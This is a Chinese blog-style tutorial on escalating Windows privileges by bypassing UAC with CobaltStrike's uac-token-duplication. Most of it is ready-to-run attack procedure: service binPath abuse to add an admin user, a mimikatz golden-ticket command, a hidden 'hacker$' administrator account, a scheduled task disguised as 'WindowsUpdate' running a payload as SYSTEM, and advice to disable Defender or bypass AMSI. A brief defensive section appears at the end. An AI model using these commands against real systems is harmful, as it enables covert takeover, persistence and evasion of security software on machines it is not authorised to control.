三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

告别“权限不足”:手把手教你用CobaltStrike的Bypass UAC模块搞定Windows提权

告别“权限不足”:手把手教你用CobaltStrike的Bypass UAC模块搞定Windows提权

实战突破Windows UAC限制:CobaltStrike提权深度指南

在渗透测试的实战场景中,获取初始访问权限往往只是开始。当你在目标机器上获得了一个普通管理员会话,却发现许多关键操作被UAC(用户账户控制)弹窗拦截时,那种挫败感想必每位安全研究员都深有体会。本文将带你深入理解Windows UAC机制的工作原理,并手把手教你使用CobaltStrike的bypassuac模块,通过uac-token-duplication等高级技术,将中级管理员权限平滑提升至高级管理员权限。

1. 理解Windows UAC机制与权限分级

Windows的用户账户控制(UAC)自Vista系统引入以来,一直是系统安全的重要防线。与Linux系统中的sudo机制类似,UAC通过权限分级管理,有效防止了恶意软件的自动安装和未经授权的系统设置更改。

现代Windows系统中,用户权限通常分为三个等级:

  • 高权限(High Integrity):完全的管理员权限,可执行所有系统操作
  • 中权限(Medium Integrity):标准用户权限,部分敏感操作需要UAC确认
  • 低权限(Low Integrity):受限用户权限,无法修改系统设置

通过以下命令可以快速检查当前会话的权限级别:

shell whoami /groups | findstr "Mandatory"

在渗透测试中,我们经常会遇到这样的情况:虽然当前用户属于管理员组,但由于UAC的限制,实际权限仅为中等级别。这时,我们就需要通过各种技术手段来绕过UAC限制。

2. CobaltStrike Bypass UAC模块详解

CobaltStrike内置的bypassuac模块是目前最稳定有效的UAC绕过方案之一,特别适用于Windows 7及更高版本系统。其核心原理是利用Windows的令牌复制漏洞(token duplication),在不触发UAC弹窗的情况下提升权限。

2.1 准备工作与环境检查

在执行提权操作前,必须确认以下几个关键条件:

  1. 当前会话已获得中级管理员权限
  2. 目标系统为Windows 7或更新版本
  3. CobaltStrike已配置好SMB Beacon监听器

使用以下命令验证当前会话状态:

shell net localgroup administrators shell whoami /priv

2.2 使用uac-token-duplication技术提权

uac-token-duplication是目前最可靠的Bypass UAC方法之一,其操作步骤如下:

  1. 在CobaltStrike客户端中,右键点击目标会话
  2. 选择"Access" → "Elevate"
  3. 在提权对话框中选择以下配置:
    • Listener:选择预先配置的SMB Beacon
    • Exploit:选择"uac-token-duplication"
  4. 点击"Launch"执行提权操作

成功执行后,CobaltStrike会创建一个新的高权限会话。你可以通过以下命令验证提权是否成功:

shell whoami /groups | findstr "High"

注意:如果目标系统启用了Windows Defender等安全软件,可能需要先执行AMSI绕过或关闭实时防护。

3. 高级提权技术与疑难排解

3.1 常见失败原因与解决方案

虽然uac-token-duplication技术非常可靠,但在某些特殊环境下仍可能失败。以下是几种常见问题及解决方法:

问题现象可能原因解决方案
提权后无新会话SMB Beacon配置错误检查监听器配置,确保SMB端口开放
提权失败并报错目标系统补丁已修复漏洞尝试其他Bypass UAC方法如uac-cmstplua
会话立即断开安全软件拦截禁用实时防护或使用混淆技术

3.2 替代性提权方法

bypassuac模块失效时,可以考虑以下替代方案:

  1. PowerUp提权

    powershell-import PowerUp.ps1 powershell Invoke-AllChecks
  2. CVE漏洞利用

    • MS16-032(适用于较旧系统)
    • MS14-058(内核模式漏洞)
  3. 服务权限滥用

    shell sc qc [服务名] shell sc config [服务名] binPath= "net user hacker Password123! /add" shell sc start [服务名]

4. 权限维持与后渗透技巧

成功提权后,为了保持对目标系统的持久访问,可以考虑以下技术:

4.1 黄金票据攻击(域环境)

mimikatz kerberos::golden /user:Administrator /domain:demo.com /sid:S-1-5-21-... /krbtgt:hash /ptt

4.2 创建隐藏账户

shell net user hacker$ Password123! /add /Y shell net localgroup administrators hacker$ /add

4.3 计划任务持久化

shell schtasks /create /tn "WindowsUpdate" /tr "C:\payload.exe" /sc onstart /ru SYSTEM

5. 安全防护与检测规避

作为专业的安全研究人员,我们不仅要掌握攻击技术,更要了解如何防御和检测这些技术:

  • UAC配置建议

    • 将UAC设置为"始终通知"最高级别
    • 禁用所有内置管理员账户
  • 检测Bypass UAC活动

    Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4704 -or $_.Id -eq 4672}
  • 增强型日志记录

    auditpol /set /category:"Account Logon" /success:enable /failure:enable

在实际渗透测试项目中,我多次遇到UAC绕过失败的情况。最有效的方法是结合多种技术,比如先使用PowerUp识别易受攻击的服务,再通过服务配置错误进行提权。记住,耐心和细致的准备往往是成功的关键。

← 返回列表